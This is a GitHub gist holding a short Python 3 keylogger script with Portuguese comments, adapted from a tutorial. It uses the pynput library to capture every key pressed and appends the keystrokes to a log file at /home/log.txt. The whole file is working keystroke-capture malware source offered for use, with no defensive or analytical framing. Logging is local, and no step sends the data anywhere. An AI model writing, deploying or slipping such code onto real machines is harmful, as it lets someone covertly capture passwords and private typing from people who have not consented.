Created
July 23, 2021 15:10
-
-
Save apolzek/0f0c1b5d70295243543e11d76c2b9375 to your computer and use it in GitHub Desktop.
Keylogger feito em python3
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#https://www.vivaolinux.com.br/artigo/Como-criar-um-keylogger-em-Python/?pagina=2 | |
# python3 -m pynput | |
# pip3 install pynput | |
# Teste | |
# python3 -m pynput | |
# python3 keylogger-full.py | |
# tail -f /home/log.txt | |
#em pynput, importar o método Listener do teclado | |
from pynput.keyboard import Listener | |
#definir a localização do arquivo de log | |
logFile = "/home/log.txt" | |
def writeLog(key): | |
''' | |
Esta função será responsável por receber a tecla pressionada | |
via Listener e escrever no arquivo de log | |
''' | |
#dicionário com as teclas a serem traduzidas | |
translate_keys = { | |
"Key.space": " ", | |
"Key.shift_r": "", | |
"Key.shift_l": "", | |
"Key.enter": "\n", | |
"Key.alt": "", | |
"Key.esc": "", | |
"Key.cmd": "", | |
"Key.caps_lock": "", | |
} | |
#converter a tecla pressionada para string | |
keydata = str(key) | |
#remover as asplas simples que delimitam os caracteres | |
keydata = keydata.replace("'", "") | |
for key in translate_keys: | |
#key recebe a chave do dicionário translate_keys | |
#substituir a chave (key) pelo seu valor (translate_keys[key]) | |
keydata = keydata.replace(key, translate_keys[key]) | |
#abrir o arquivo de log no modo append | |
with open(logFile, "a") as f: | |
f.write(keydata) | |
#abrir o Listener do teclado e escutar o evento on_press | |
#quando o evento on_press ocorrer, chamar a função writeLog | |
with Listener(on_press=writeLog) as l: | |
l.join() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment